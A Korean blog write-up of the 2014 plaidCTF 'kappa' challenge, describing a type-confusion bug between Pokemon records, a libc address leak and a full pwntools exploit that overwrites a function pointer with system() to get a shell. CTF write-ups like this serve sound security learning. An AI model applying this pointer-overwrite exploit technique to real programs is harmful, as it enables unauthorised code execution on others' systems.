2014 plaidCTF kappa
싸우는 도중 포켓몬을 바꿀 수 있는 4번 히든 메뉴 존재
기본으로 주는 Bird Jesus의 체력을 나타내는 곳이 379번 째 인덱스고, kakuna의 체력을 나타내는 곳은 다른 곳이다. Charizard도 마찬가지. 즉 저 값은 kakuna의 입장에서는 \x0이며 Charizard의 입장에서는 ascii_art가 있는 곳이 된다.
이걸 써먹을 곳이 없는데 기본 포켓몬으로만 싸우라는 건가...
그리고 포켓몬이 다 차면 원래 있던 자리에 포켓몬을 덮어씌우는데 포켓몬 랭크에 관한 정보는 덮어씌우지 않는다.
포켓몬 정보를 출력하는 함수를 호출하는 부분이다. 이 부분을 덮어씌우면 쉘을 딸 수 있을 것 같다.
Charizard의 artwork 크기가 kakuna의 artwork 크기보다 크기 때문에 artwork 변경 창에서 kaknuna의 함수 호출 부분을 덮어씌울 수 있다!
그리고 이 부분에서 health, attack power는 %d로 출력해줘서 leak이 붉능해 attack쪽에서 해야 하는데, **로 접근한 곳이 주소여야 돼서 got를 attack에 넣어 leak을 하는게 아니라 plt+2를 attack에 넣어 leak을 해야 한다.
익스플로잇 흐름도는 다음과 같다.
xxxxxxxxxx
from pwn import *
context.log_level = 'debug'
e = ELF('./kappa')
s = process('./kappa')
sleep(1)
cnt=0
cnt2=0
def menu(num):
s.recvuntil('artwork\n\n')
s.sendline(num)
def go_grass():
global cnt
global cnt2
while True:
menu('1')
sleep(3)
cnt+=1
if not cnt % 13:
s.recvuntil('Run\n')
s.sendline('1')
s.recvuntil('Run\n')
s.sendline('1')
s.recvuntil('Run\n')
s.sendline('1')
s.recvuntil('Run\n')
s.sendline('1')
s.recvuntil('Run\n')
s.sendline('2')
s.recvuntil('Pokemon?\n')
s.sendline('/bin/sh\00')
s.recvuntil('replace!\n')
s.sendline('5')
break
elif not cnt & 1:
if cnt2 >= 4:
s.recvuntil('Run\n')
s.sendline('1')
else:
s.recvuntil('Run\n')
s.sendline('2')
s.recvuntil('Pokemon?\n')
s.sendline('seongjo')
cnt2+=1
def inspect():
menu('3')
def change(idx, data):
menu('5')
s.recvuntil('\n')
s.sendline(idx)
s.send(data)
go_grass()
pay = 'A' * (524-15)
pay += p32(e.plt['puts']+2)
pay += p32(0x8048766) # kakuna_print
pay = pay.ljust(2168, 'B')
change('5', pay)
inspect()
sleep(1)
s.recvuntil('/bin/sh')
s.recvuntil('Attack: ')
leak = u32(s.recv(4))
print('##############libc leak: {}##############'.format(hex(leak)))
libc_base = leak - 0x5f140
system = libc_base + 0x3a940
pay = "/bin/sh\00"
pay = pay.ljust(528-15, 'A')
pay += p32(system)
pay = pay.ljust(2168, 'B')
change('5', pay)
inspect()
s.interactive()
이건 좀 힘들게 풀었네요 ㅠ shell~!~!
'system > writeup' 카테고리의 다른 글
pwnable.tw orw (0) | 2019.01.09 |
---|---|
2017 codegate angrybird (0) | 2019.01.09 |
2017 codegate messenger (0) | 2019.01.07 |
2017 codegate hunting (0) | 2019.01.06 |
2017 codegate babymisc (0) | 2019.01.05 |